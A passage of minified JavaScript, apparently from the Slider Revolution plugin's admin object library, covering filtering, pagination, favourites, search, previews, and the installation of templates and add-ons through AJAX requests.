0!==RVS.LIB.OBJ.items.moduletemplates[i].ref&&RVS.LIB.OBJ.items.moduletemplates[i].ref.find(".installed_notinstalled").html(RVS_LANG.installed),e.children))for(var a in RVS.LIB.OBJ.items.moduletemplateslides)RVS.LIB.OBJ.items.moduletemplateslides.hasOwnProperty(a)&&RVS.LIB.OBJ.items.moduletemplateslides[a].parent==RVS.LIB.OBJ.items.moduletemplates[i].id&&(RVS.LIB.OBJ.items.moduletemplateslides[a].installed=e.hiddensliderid,RVS.LIB.OBJ.items.moduletemplateslides[a].slideid=e.slideids[parseInt(RVS.LIB.OBJ.items.moduletemplateslides[a].slideid,0)],void 0!==RVS.LIB.OBJ.items.moduletemplateslides[a].ref&&RVS.LIB.OBJ.items.moduletemplateslides[a].ref.find(".installed_notinstalled").html(RVS_LANG.installed))}function u(e){e&&jQuery("#searchobjects").val("");var t=jQuery("li.ol_filter_listelement.selected");t.length>0&&void 0!==t&&jQuery("#searchobjects").attr("placeholder",RVS_LANG.search+" "+b(t[0].dataset.title).t+" ...")}function v(){jQuery(".olibrary_item.selected").removeClass("selected"),RVS.LIB.OBJ.container_Underlay.hide(),jQuery("#obj_library_mediapreview").remove(),RVS.LIB.OBJ.moduleInFocus=!1}function g(){var e=Math.floor(RVS.LIB.OBJ.container_OutputWrap.width()/287),t=Math.floor(RVS.LIB.OBJ.container_OutputWrap.innerHeight()/235);return 0!==e&&0!==t||(e=Math.floor((window.innerWidth-330)/287),t=Math.floor((window.innerHeight-160)/235)),e*t}function m(){RVS.LIB.OBJ.pageAmount=parseInt(RVS.LIB.OBJ.pageAmount,0),RVS.LIB.OBJ.selectedPage=parseInt(RVS.LIB.OBJ.selectedPage,0),jQuery(".page_button.ol_pagination").each(function(){var e=parseInt(this.dataset.page,0),t=!1;1!==e&&e!==RVS.LIB.OBJ.pageAmount||(t=!0),RVS.LIB.OBJ.selectedPage<4&&e>0&&e<5&&(t=!0),RVS.LIB.OBJ.selectedPage>RVS.LIB.OBJ.pageAmount-3&&e>RVS.LIB.OBJ.pageAmount-4&&e<9999&&(t=!0),e<9999&&e>=RVS.LIB.OBJ.selectedPage-1&&e<=RVS.LIB.OBJ.selectedPage+1&&e>0&&(t=!0),(RVS.LIB.OBJ.selectedPage>=4&&-9999===e||RVS.LIB.OBJ.selectedPage<=RVS.LIB.OBJ.pageAmount-3&&9999===e)&&(t=!0),RVS.LIB.OBJ.pageAmount<8&&(t=9999!=e&&-9999!=e),this.style.display=t?"inline-block":"none"})}function h(e){var t=[];t.push(e);for(var i=0;-1!==e&&20!==i;){e=-1!==RVS.F.getSliderIndex(e)&&void 0!==RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][e]&&RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][e].parent||-1,t.push(e),i++}return t}function S(e){return e.filter===e.o.source||e.filter===e.o.type||e.filter===e.o.size||jQuery.inArray(e.filter,e.o.tags)>=0}function f(){RVS.LIB.OBJ.container_Filters.RSScroll({wheelPropagation:!1}),RVS.LIB.OBJ.container_OutputWrap.RSScroll({wheelPropagation:!1})}function b(e){switch(e){case"Slider":return{o:1,t:"Slider"};case"Carousel":return{o:2,t:"Carousel"};case"Hero":return{o:3,t:"Hero"};case"Website":return{o:4,t:"Website"};case"Premium":return{o:5,t:"Special FX"};case"Postbased":return{o:6,t:"Post Based"};case"Socialmedia":return{o:7,t:"Social Media"};case"Revolution Base":return{o:8,t:"Basic"};default:return{o:0,t:e.replace("All ","")}}}function y(e,t){setTimeout(function(){e.removeClass("inedit")},50);var i=e.find(".filter_tag_name_input"),a=e.find(".filter_tag_name");if(t){var r=i.val(),o=e[0].dataset.filter,s=e[0].dataset.type;RVS.F.ajaxRequest("edit_customlibrary_tags",{id:o,name:r,type:s},function(t){a[0].innerHTML=r,RVS.LIB.OBJ.types[s].tags[o]=r,e[0].dataset.title=r,RVS.F.updateCustomCategorySelectors(s)})}else i[0].value=a[0].innerHTML;window.ignoreCustomCategoryBlur=!0,i.blur()}function R(e){var t=void 0!==e.custom||void 0!==e.tags&&Object.keys(e.tags).length>0;if(_html='<div data-subtags="'+t+'" data-type="'+e.groupType+'" id="ol_filter_'+e.groupType+'" data-title="'+e.groupAlias+'" class="ol_filter_type '+(e.groupopen?"open":"")+'"><div data-filter="all" data-type="'+e.groupType+'" data-title="'+e.groupAlias+'" data-subtags="'+t+'" class="ol_filter_listelement ol_filter_headerelement"><i class="material-icons">'+e.icon+'</i><span class="filter_type_name">'+e.groupAlias+"</span></div>",t){_html+='<ul class="ol_filter_group">',_html+='<li data-type="'+e.groupType+'" data-filter="all" data-title="All '+e.groupAlias+'" class="ol_filter_listelement"><span class="filter_tag_name">All</span></li>';var i=new Array,a=new Array;for(var r in e.tags)if(e.tags.hasOwnProperty(r)){var o,s="moduletemplates"===e.groupType?b(e.tags[r]):{o:0,t:e.tags[r]};void 0!==e.tagIDs&&e.tagIDs[r];o='<li data-type="'+e.groupType+'" data-filter="'+r+'" data-title="'+RVS.F.capitalise(s.t)+'" class="ol_filter_listelement">',o+='<span class="filter_tag_name">'+s.t+"</span>",void 0!==e.custom&&(o+='<input class="filter_tag_name_input" value="'+s.t+'" type="text">',o+='<i class="filter_tag_name_edit material-icons">edit</i>',o+='<i class="filter_tag_name_delete material-icons">delete</i>',o+='<i class="filter_tag_name_check material-icons">check</i>',o+='<i class="filter_tag_name_cancel material-icons">close</i>',o+='<div class="ol_gradientbg"></div>'),o+="</li>",0==s.o?a.push(o):i[s.o]=o}for(var r in i)void 0!==i[r]&&(_html+=i[r]);for(var r in a)void 0!==a[r]&&(_html+=a[r]);void 0!==e.custom&&(_html+='<li style="padding-left:0px" data-type="'+e.groupType+'" data-filter="createcategory" class="ol_filter_listelement add_ol_new_custom_category"><span class="filter_tag_name"><i style="margin-left:10px; font-size:18px" class="material-icons">add</i>'+RVS_LANG.addcategory+"</span></li>"),_html+="</ul>"}_html+="</div>",RVS.LIB.OBJ.container_Filters.append(_html)}RVS.F.initObjectLibrary=function(e){RVS.DOC.on("click","#ol_close",function(){!0===RVS.LIB.OBJ.moduleInFocus?(v(),RVS.LIB.OBJ.moduleInFocus=!1):RVS.F.closeObjectLibrary()}),RVS.DOC.on("click","#reset_objsorting",function(){v(),jQuery("#sel_olibrary_sorting").val("datedesc").ddTP("change"),RVS.DOC.trigger("updateObjectLibraryOverview",{val:"datedesc",eventparam:"#reset_objsorting",ignoreCookie:!0})}),RVS.DOC.on("updateObjectLibraryOverview",function(e,t){if(void 0!==t&&void 0!==t.eventparam){var i="#reset_objsorting"===t.eventparam?"datedesc"===t.val?0:1:"all"===t.val?0:1,a=1===i?"inline-block":"none";tpGS.gsap.set(t.eventparam,{autoAlpha:i,display:a})}void 0===t||t.ignoreRebuild||(void 0!==t.val&&!0!==t.ignoreCookie&&RVS.F.setCookie("rs6_library_pagination",t.val,360),v(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1}))}),RVS.DOC.on("click",".ol_filter_listelement",function(){if(!(this.className.indexOf("inedit")>=0||this.className.indexOf("add_ol_new_custom_category")>=0)){var e=jQuery(this),t=e.closest(".ol_filter_type");if("true"!=this.dataset.subtags)RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedType=this.dataset.type,RVS.LIB.OBJ.selectedFilter=this.dataset.filter,RVS.LIB.OBJ.selectedPage=1,RVS.LIB.OBJ.selectedPackage=-1,RVS.LIB.OBJ.selectedFolder=-1,RVS.F.loadLibrary({modules:[this.dataset.type],event:"reBuildObjectLibrary"}),jQuery(".ol_filter_listelement.selected").removeClass("selected"),e.addClass("selected"),t.find(".ol_filter_headerelement").addClass("selected");else{var i=t.hasClass("open");jQuery(".ol_filter_type.open").removeClass("open"),i||t.addClass("open");var a=t.find(".ol_filter_group");0===a.find(".selected").length&&a.find(".ol_filter_listelement").first().trigger("click")}return u(),v(),!1}}),RVS.DOC.on("click","#ol_right_underlay",v),RVS.DOC.on("click",".ol_link_to_delete",function(){var e=this.dataset.librarytype,t=this.dataset.id;d(t,e),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deletecustomitem,maintext:RVS_LANG.areyousuretodelete+"?",subtext:RVS_LANG.thiswilldeletecustomitem,do:{icon:"delete",text:RVS_LANG.yesdeleteit,callback:function(){RVS.F.ajaxRequest("delete_customlibrary_item",{id:t,type:e},function(i){!function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=""+RVS.LIB.OBJ.items[t][a].id==""+e?a:i);void 0!==i&&RVS.LIB.OBJ.items[t].splice(i,1)}(t,e),jQuery("#"+e+"_"+t).remove(),RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements()})}},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}),jQuery("#rbm_decisionModal").closest("._TPRB_.rb-modal-wrapper").appendTo(jQuery(document.body)).css({zIndex:1e8})}),RVS.DOC.on("click",".ol_link_to_add",function(){var e=this.dataset.librarytype,t=this.dataset.event;if("modules"===e||"true"===RVS.ENV.activated||!0===RVS.ENV.activated)switch(e){case"modules":let v,g=jQuery(this).closest(".olibrary_item").attr("data-objid"),m=RVS.LIB.OBJ.items.modules,h=m.length;for(let e=0;e<h&&(v=m[e]).id!==g;e++);RVS.DOC.trigger(RVS.LIB.OBJ.success.modules,v),RVS.F.closeObjectLibrary();break;case"moduleslides":case"moduletemplateslides":var i=RVS.LIB.OBJ.items[this.dataset.librarytype][RVS.F.getModuleIndex(this.dataset.id,this.dataset.librarytype)];if(null==i.installed){var a=this.dataset.parentuid;RVS.F.ajaxRequest("import_template_slider",{uid:a},function(e){e.success&&(p({uid:a,hiddensliderid:e.hiddensliderid,children:!0,slideids:e.slider.slide_ids}),RVS.DOC.trigger(RVS.LIB.OBJ.success.slide,i.slideid),RVS.F.closeObjectLibrary())},void 0,void 0,RVS_LANG.installingtemplate+'<br><span style="font-size:17px; line-height:25px;">'+this.dataset.parenttitle+"</span>")}else RVS.DOC.trigger(RVS.LIB.OBJ.success.slide,i.slideid),RVS.F.closeObjectLibrary();break;case"moduletemplates":RVS.LIB.OBJ.container_Underlay.show(),RVS.LIB.OBJ.moduleInFocus=!0;var i=jQuery(this);if("moduletemplates"===this.dataset.librarytype){var r=i.closest(".olibrary_item"),o=r.find(".ol_template_info_wrap");r.addClass("selected");var s=r.offset().left;tpGS.gsap.set(o,{left:"auto",right:"auto"}),s+630>window.outerWidth+(RVS.S.isRTL?-300:0)?s-340>300?tpGS.gsap.set(o,{left:"auto",right:"100%",x:"-20px",transformOrigin:"100% 0%"}):tpGS.gsap.set(o,{left:r.width()-(s+630-window.outerWidth)+"px",zIndex:200,right:"auto",x:"20px",transformOrigin:"0% 0%"}):tpGS.gsap.set(o,{left:"100%",right:"auto",x:"20px",transformOrigin:"0% 0%"});var l=document.querySelectorAll(".redownloadTemplateState, .createBlankPageState");for(var n in l)l.hasOwnProperty(n)&&(l[n].checked=l[n].className.indexOf("redownloadTemplateState")>=0?RVS.LIB.OBJ.reDownloadTemplate:RVS.LIB.OBJ.createBlankPage,RVS.F.turnOnOffVisUpdate({input:l[n]}))}break;case"videos":var c=jQuery.extend(!0,RVS.LIB.OBJ.data,d(this.dataset.id,this.dataset.librarytype));RVS.F.ajaxRequest("load_library_object",{type:"video",id:this.dataset.id},function(e){e.success&&(c.img=e.cover,c.video=e.url,RVS.DOC.trigger(RVS.LIB.OBJ.success.video,c))}),RVS.F.closeObjectLibrary();break;case"layers":RVS.F.ajaxRequest("load_library_object",{type:"layers",id:this.dataset.id},function(e){if(e.success){for(var t in RVS.LIB.OBJ.import={toImport:[]},e.layers)e.layers.hasOwnProperty(t)&&RVS.LIB.OBJ.import.toImport.push(e.layers[t].uid);RVS.F.showWaitAMinute({fadeIn:100,text:RVS_LANG.importinglayers}),RVS.F.importSelectedLayers(e.layers),RVS.DOC.trigger(RVS.LIB.OBJ.success.layers)}else RVS.F.closeObjectLibrary()});break;case"fonticons":case"svgcustom":case"svgs":var u=function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=RVS.LIB.OBJ.items[t][a].handle===e?RVS.LIB.OBJ.items[t][a]:i);return i}(this.dataset.handle,this.dataset.librarytype);"svgs"!==this.dataset.librarytype&&"svgcustom"!==this.dataset.librarytype||(u.svg=u.ref.find("svg"),u.svgfull=u.svg[0].innerHTML,u.path=u.svg.find("path").attr("d"),u.viewBox=u.svg[0].viewBox),RVS.DOC.trigger(RVS.LIB.OBJ.success.icon,u),RVS.F.closeObjectLibrary();break;default:if(void 0!==t)RVS.DOC.trigger(t);else{var u=d(this.dataset.id,this.dataset.librarytype);RVS.DOC.trigger(RVS.LIB.OBJ.success.custom,u),RVS.F.closeObjectLibrary()}}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("mouseenter",".ol_link_to_add_image",function(){var e=document.getElementById("sizeinfo_"+this.dataset.librarytype+"_"+this.dataset.id);null!=e&&(e.innerHTML=Math.round(parseInt(e.dataset.w,0)*(t[this.dataset.size]/100))+"x"+Math.round(parseInt(e.dataset.h,0)*(t[this.dataset.size]/100)))}),RVS.DOC.on("mouseleave",".ol_link_to_add_image",function(){var e=document.getElementById("sizeinfo_"+this.dataset.librarytype+"_"+this.dataset.id);null!=e&&(e.innerHTML=parseInt(e.dataset.w,0)+"x"+parseInt(e.dataset.h,0))}),RVS.DOC.on("click",".ol_link_to_add_image",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e=jQuery.extend(!0,RVS.LIB.OBJ.data,d(this.dataset.id,this.dataset.librarytype));e.size=t[this.dataset.size],RVS.F.ajaxRequest("load_library_object",{type:t[this.dataset.size],id:this.dataset.id},function(t){t.success&&(e.img=t.url,RVS.DOC.trigger(RVS.LIB.OBJ.success.image,e))}),RVS.F.closeObjectLibrary()}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("reBuildObjectLibrary",function(){v(),RVS.F.reBuildObjectLibrary(),jQuery(".ol_filter_type.selected").removeClass("selected"),jQuery(".ol_filter_listelement.selected").removeClass("selected"),jQuery(".ol_filter_listelement").each(function(){this.dataset.filter===RVS.LIB.OBJ.selectedFilter&&this.dataset.type===RVS.LIB.OBJ.selectedType&&this.classList.add("selected")}),jQuery(".ol_filter_type.open").addClass("selected")}),RVS.DOC.on("reBuildObjectLibraryAndCheckSingleSlide",function(){v(),RVS.F.reBuildObjectLibrary();var e,t,i=0;for(var a in RVS.LIB.OBJ.items.moduleslides)RVS.LIB.OBJ.items.moduleslides.hasOwnProperty(a)&&RVS.LIB.OBJ.items.moduleslides[a].slider_id===RVS.LIB.OBJ.selectedModule&&(i++,e=RVS.LIB.OBJ.items.moduleslides[a].id,t=RVS.LIB.OBJ.items.moduleslides[a].installed);1===i&&"layers"===RVS.LIB.OBJ.depth&&s(e,t)}),RVS.DOC.on("click",".ol_link_to_view",function(){var e=jQuery(this);void 0!==e[0].dataset.preview&&e[0].dataset.preview.length>0&&window.open(e[0].dataset.preview,"_blank")}),RVS.DOC.on("mouseenter",".show_video_on_hover",function(){clearTimeout(window.showVideOnHoverTimer);var e=jQuery(this),t=e.closest(".olibrary_item"),i=t.find(".ol_template_info_wrap"),a=this.dataset.videosource;window.showVideOnHoverTimer=setTimeout(function(){t.find(".videopreview").append('<video id="obj_library_mediapreview" loop autoplay> <source src="'+a+'" type="video/mp4"></video>'),t.addClass("selected");var e=t.offset().left;tpGS.gsap.set(i,{left:"auto",right:"auto"}),e+630>window.outerWidth+(RVS.S.isRTL?-300:0)?e-340>300?tpGS.gsap.set(i,{left:"auto",right:"100%",x:"-20px",transformOrigin:"100% 0%"}):tpGS.gsap.set(i,{left:t.width()-(e+630-window.outerWidth)+"px",zIndex:200,right:"auto",x:"20px",transformOrigin:"0% 0%"}):tpGS.gsap.set(i,{left:"100%",right:"auto",x:"20px",transformOrigin:"0% 0%"})},500)}),RVS.DOC.on("mouseleave",".show_video_on_hover",function(){clearTimeout(window.showVideOnHoverTimer),v()}),RVS.DOC.on("click",".ol_link_to_deeper",function(){RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",jQuery("#searchobjects").val(""),"moduletemplates"===this.dataset.librarytype?"package_parent"===this.dataset.elementtype?(RVS.LIB.OBJ.selectedPackage=this.dataset.packageid,RVS.LIB.OBJ.selectedPackageTitle=this.dataset.title,v(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})):"module_parent"===this.dataset.elementtype&&(RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedModule=this.dataset.packageid,RVS.LIB.OBJ.selectedModuleTitle=this.dataset.title,RVS.LIB.OBJ.selectedType="moduletemplateslides",RVS.F.loadSimpleModule({modules:["moduletemplateslides"],parenttype:"moduletemplates",moduleid:this.dataset.moduleid,module_uid:this.dataset.module_uid,event:"reBuildObjectLibrary"})):"modules"===this.dataset.librarytype?"folder_parent"===this.dataset.elementtype?(RVS.LIB.OBJ.selectedFolder=this.dataset.folderid,RVS.F.resetAllFilters(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})):"module_parent"===this.dataset.elementtype&&(RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedModule=this.dataset.packageid,RVS.LIB.OBJ.selectedModuleTitle=this.dataset.title,RVS.LIB.OBJ.selectedType="moduleslides",RVS.F.loadSimpleModule({modules:["moduleslides"],parenttype:"modules",moduleid:this.dataset.moduleid,event:"reBuildObjectLibraryAndCheckSingleSlide"})):"moduleslides"===this.dataset.librarytype&&s(this.dataset.id,this.dataset.slideid),jQuery("#ol_right").scrollTop(0)}),RVS.DOC.on("click",".page_button.ol_pagination",function(){v(),jQuery(".page_button.ol_pagination.selected").removeClass("selected"),RVS.LIB.OBJ.selectedPage=-9999===parseInt(this.dataset.page,0)?RVS.LIB.OBJ.selectedPage=parseInt(RVS.LIB.OBJ.selectedPage,0)-3:9999===parseInt(this.dataset.page,0)?RVS.LIB.OBJ.selectedPage=parseInt(RVS.LIB.OBJ.selectedPage,0)+3:this.dataset.page,jQuery(".page_button.ol_pagination[data-page="+RVS.LIB.OBJ.selectedPage+"]").addClass("selected"),jQuery("#ol_right").scrollTop(0),RVS.F.drawOverview(),m()}),RVS.WIN.on("resize",function(){RVS.LIB.OBJ.open&&(clearTimeout(window.resizedObjectLibraryTimeOut),window.resizedObjectLibraryTimeOut=setTimeout(function(){var e=g();e=e<1?1:e,v(),RVS.LIB.OBJ.maxAmountPerPage!==e&&RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0})},10))}),RVS.DOC.on("click",".rsl_breadcrumb",function(){RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",RVS.LIB.OBJ.selectedModuleType="",RVS.LIB.OBJ.selectedType="moduletemplateslides"===RVS.LIB.OBJ.selectedType?"moduletemplates":"moduleslides"===RVS.LIB.OBJ.selectedType?"modules":RVS.LIB.OBJ.selectedType,void 0!==this.dataset.folderid&&(v(),"moduletemplates"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedPackage=parseInt(this.dataset.folderid,0)),"modules"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedFolder=parseInt(this.dataset.folderid,0),RVS.F.resetAllFilters()),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0}))}),RVS.DOC.on("click",".olibrary_favorit",function(){var e=jQuery(this),t={do:"add",type:this.dataset.librarytype,id:this.dataset.id};e.toggleClass("selected"),e.hasClass("selected")||(t.do="remove"),RVS.F.ajaxRequest("set_favorite",t,function(e){e.success&&(function(e){for(var t in RVS.LIB.OBJ.items[e.type])RVS.LIB.OBJ.items[e.type].hasOwnProperty(t)&&""+RVS.LIB.OBJ.items[e.type][t].id==""+e.id&&(RVS.LIB.OBJ.items[e.type][t].favorite="add"===e.do)}(t),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0}))})}),RVS.DOC.on("click","#obj_updatefromserver",function(){RVS.F.updateObjectLibraryFromServer(RVS.LIB.OBJ.selectedType)}),RVS.DOC.on("click","#obj_fil_favorite",function(){var e=jQuery(this);e.toggleClass("selected"),v(),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0})}),RVS.DOC.on("keyup","#searchobjects",function(){v(),clearTimeout(window.searchKeyUp),window.searchKeyUp=setTimeout(function(){RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1}),RVS.LIB.OBJ.container_OutputWrap.RSScroll("update")},200)}),RVS.DOC.on("change",".redownloadTemplateState",function(){RVS.LIB.OBJ.reDownloadTemplate=this.checked}),RVS.DOC.on("change",".createBlankPageState",function(){RVS.LIB.OBJ.createBlankPage=this.checked}),RVS.F.addonInstalledFromTemplate=function(e,t){RVS.LIB.OBJ.addonsToInstall.splice(0,1);var i=t.replace(/-/g,"_"),a=jQuery("#ale_"+t+" .rs_alethumb_img");void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&RVS.LIB.ADDONS[t].global&&!RVS.S.ovMode&&(RVS.SLIDER.settings.addOns[t]=void 0===RVS.SLIDER.settings.addOns[t]?{}:RVS.SLIDER.settings.addOns[t],RVS.SLIDER.settings.addOns[t].enable=!0,RVS.LIB.ADDONS[t].enable=!0),void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&(RVS.LIB.ADDONS[t].active=!0),window[i]=e[t],"undefined"==typeof revbuilder||void 0!==RVS.SLIDER.settings&&RVS.SLIDER.settings.addOns.hasOwnProperty(t)?window[i].enabled=RVS.F._d(RVS.F._truefalse(window[i].enabled),!RVS.S.ovMode&&void 0!==RVS.SLIDER.settings.addOns[t]&&RVS.SLIDER.settings.addOns[t].enable):window[i].enabled=!0,tpGS.gsap.fromTo(a,2,{zIndex:"13",clip:"rect(95px 95px 95px 95px)"},{clip:"rect(0px 190px 190px 0px)"}),jQuery("#ale_"+t+" .rs_ale_enabled").show(),RVS.F.showAddonInfos(t),RVS.F.addonInstalledOnDemand(t)},RVS.F.installSingleModuleTemplate=function(e){if(RVS.LIB.OBJ.addonsToInstall.length>0){var t=RVS.LIB.OBJ.addonsToInstall[0];RVS.F.ajaxRequest("activate_addon",{addon:t},function(i){void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&1==RVS.LIB.ADDONS[t].installed?(RVS.F.addonInstalledFromTemplate(i,t),RVS.F.installSingleModuleTemplate(e)):(RVS.LIB.ADDONS[t].installed=!0,RVS.F.installSingleModuleTemplate(e))},void 0,void 0,RVS_LANG.installingaddon+'<br><span style="font-size:17px; line-height:25px;">'+RVS.LIB.OBJ.addonsToInstall[0]+"</span>")}else RVS.F.ajaxRequest("import_template_slider",e,function(t){t.success&&(RVS.LIB.OBJ.sliderPackageIds.push(t.slider.id),void 0!==RVS.LIB.OBJ.success&&void 0!==RVS.LIB.OBJ.success.slider&&RVS.DOC.trigger(RVS.LIB.OBJ.success.slider,t),RVS.LIB.OBJ.createBlankPage&&RVS.LIB.OBJ.success&&RVS.LIB.OBJ.success.draftpage&&RVS.DOC.trigger(RVS.LIB.OBJ.success.draftpage,{pages:RVS.LIB.OBJ.sliderPackageIds}),p({uid:e.uid,hiddensliderid:t.hiddensliderid})),RVS.F.closeObjectLibrary()},void 0,void 0,RVS_LANG.installtemplate+'<br><span style="font-size:17px; line-height:25px;">'+e.title+"</span>")},RVS.F.installModuleTemplateForPackage=function(e){if(RVS.LIB.OBJ.addonsToInstall.length>0){var t=RVS.LIB.OBJ.addonsToInstall[0];RVS.F.ajaxRequest("activate_addon",{addon:t},function(i){void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&1==RVS.LIB.ADDONS[t].installed?(RVS.F.addonInstalledFromTemplate(i,t),RVS.F.installModuleTemplateForPackage(e)):(RVS.LIB.ADDONS[t].installed=!0,RVS.F.installModuleTemplateForPackage(e))},void 0,void 0,RVS_LANG.installingaddon+'<br><span style="font-size:17px; line-height:25px;">'+RVS.LIB.OBJ.addonsToInstall[0]+"</span>")}else RVS.F.ajaxRequest("import_template_slider",e,function(t){t.success&&(t.silent=!0,t.ignoreAjaxFolderMove=!0,e.modal&&(t.slider.modal=jQuery.inArray(""+t.hiddensliderid,RVS.LIB.OBJ.sliderPackageModalsOrig)>=0||jQuery.inArray(t.uid,RVS.LIB.OBJ.sliderPackageModalsOrigUid)>=0,p({uid:e.uid,hiddensliderid:t.hiddensliderid,modal:t.slider.modal})),void 0!==RVS.LIB.OBJ.success&&void 0!==RVS.LIB.OBJ.success.slider&&RVS.DOC.trigger(RVS.LIB.OBJ.success.slider,t),RVS.LIB.OBJ.sliderPackageIds.push(t.slider.id),void 0!==t.map&&void 0!==t.map.slider&&(RVS.LIB.OBJ.sliderPackageReferenceMap.slider_map=jQuery.extend(!0,RVS.LIB.OBJ.sliderPackageReferenceMap.slider_map,t.map.slider)),void 0!==t.map&&void 0!==t.map.slides&&(RVS.LIB.OBJ.sliderPackageReferenceMap.slides_map=jQuery.extend(!0,RVS.LIB.OBJ.sliderPackageReferenceMap.slides_map,t.map.slides)),e.modal?t.slider.modal&&RVS.LIB.OBJ.sliderPackageModals.push(t.slider.id):(jQuery.inArray(""+t.hiddensliderid,RVS.LIB.OBJ.sliderPackageModalsOrig)>=0||jQuery.inArray(t.uid,RVS.LIB.OBJ.sliderPackageModalsOrigUid)>=0)&&RVS.LIB.OBJ.sliderPackageModals.push(t.slider.id),void 0!==RVS.LIB.OBJ.sliderPackageAdditionsUID[t.uid]&&(RVS.LIB.OBJ.sliderPackageAdditions[t.slider.id]=RVS.LIB.OBJ.sliderPackageAdditionsUID[t.uid]),e.modal||void 0!==RVS.LIB.OBJ.sliderPackageAdditionsInstalled[t.hiddensliderid]&&(RVS.LIB.OBJ.sliderPackageAdditions[t.slider.id]=RVS.LIB.OBJ.sliderPackageAdditionsInstalled[t.hiddensliderid])),e._.index++,o(e._)},void 0,void 0,RVS_LANG.installpackage+'<br><span style="font-size:17px; line-height:25px;">'+e._.name+" ("+(e._.index+1)+" / "+(e._.amount+1)+")</span>")},RVS.DOC.on("click",".olti_install_template",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e=this.dataset.uid,t=c(e);if(RVS.LIB.OBJ.sliderPackageIds=[],RVS.LIB.OBJ.addonsToInstall=[],void 0!==t.plugin_require&&null!=t.plugin_require&&t.plugin_require.length>0)for(var i in t.plugin_require)!1===t.plugin_require[i].installed&&RVS.LIB.OBJ.addonsToInstall.push(t.plugin_require[i].path.split("/")[0]);RVS.F.installSingleModuleTemplate(RVS.LIB.OBJ.reDownloadTemplate||0==t.installed?{uid:e,install:!0,title:this.dataset.title}:{uid:this.dataset.uid,sliderid:t.installed,title:this.dataset.title})}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("click",".olti_install_template_package",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){if(void 0!==this.dataset&&void 0!==this.dataset.uids){var e=this.dataset.uids.split(","),t=this.dataset.folderuid;RVS.F.createNewFolder({foldername:this.dataset.package,enter:!0,callBack:"sliderPackageInstall",callBackParam:{uids:e,index:0,folderuid:t,name:this.dataset.package,createBlankPage:RVS.LIB.OBJ.createBlankPage,amount:e.length-1}})}}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("sliderPackageInstall",function(e,t){RVS.LIB.OBJ.sliderPackageIds=[],RVS.LIB.OBJ.sliderPackageReferenceMap=new Object,RVS.LIB.OBJ.sliderPackageReferenceMap.slider_map=new Object,RVS.LIB.OBJ.sliderPackageReferenceMap.slides_map=new Object,RVS.LIB.OBJ.sliderPackageModals=[],RVS.LIB.OBJ.sliderPackageModalsOrig=[],RVS.LIB.OBJ.sliderPackageModalsOrigUid=[],RVS.LIB.OBJ.sliderPackageModal=!1,RVS.LIB.OBJ.sliderPackageAdditions={},RVS.LIB.OBJ.sliderPackageAdditionsUID={},RVS.LIB.OBJ.sliderPackageAdditionsInstalled={},o(t)}),RVS.LIB.OBJ.types.svgcustom=jQuery.extend(!0,{tags:{},upload:{buttonText:'<i class="material-icons">publish</i> '+RVS_LANG.importsvgfiles,callBack:function(e){RVS.F.customSVGUpload(e)}}},RVS.LIB.OBJ.types.svgcustom),RVS_LANG.ol_svgcustom="My SVG Library",RVS.F.buildObjectLibrary(e),RVS.LIB.OBJ.items={},RVS.LIB.OBJ.search=jQuery("#searchobjects"),RVS.LIB.OBJ.infoPlus=jQuery("#rs_extra_objlib_info"),RVS.LIB.OBJ.uploadCustoms=jQuery("#upload_custom_files"),RVS.LIB.OBJ.inited=!0,jQuery("#ol_results_wrap").on("dragover dragenter",function(e){if(void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload){var 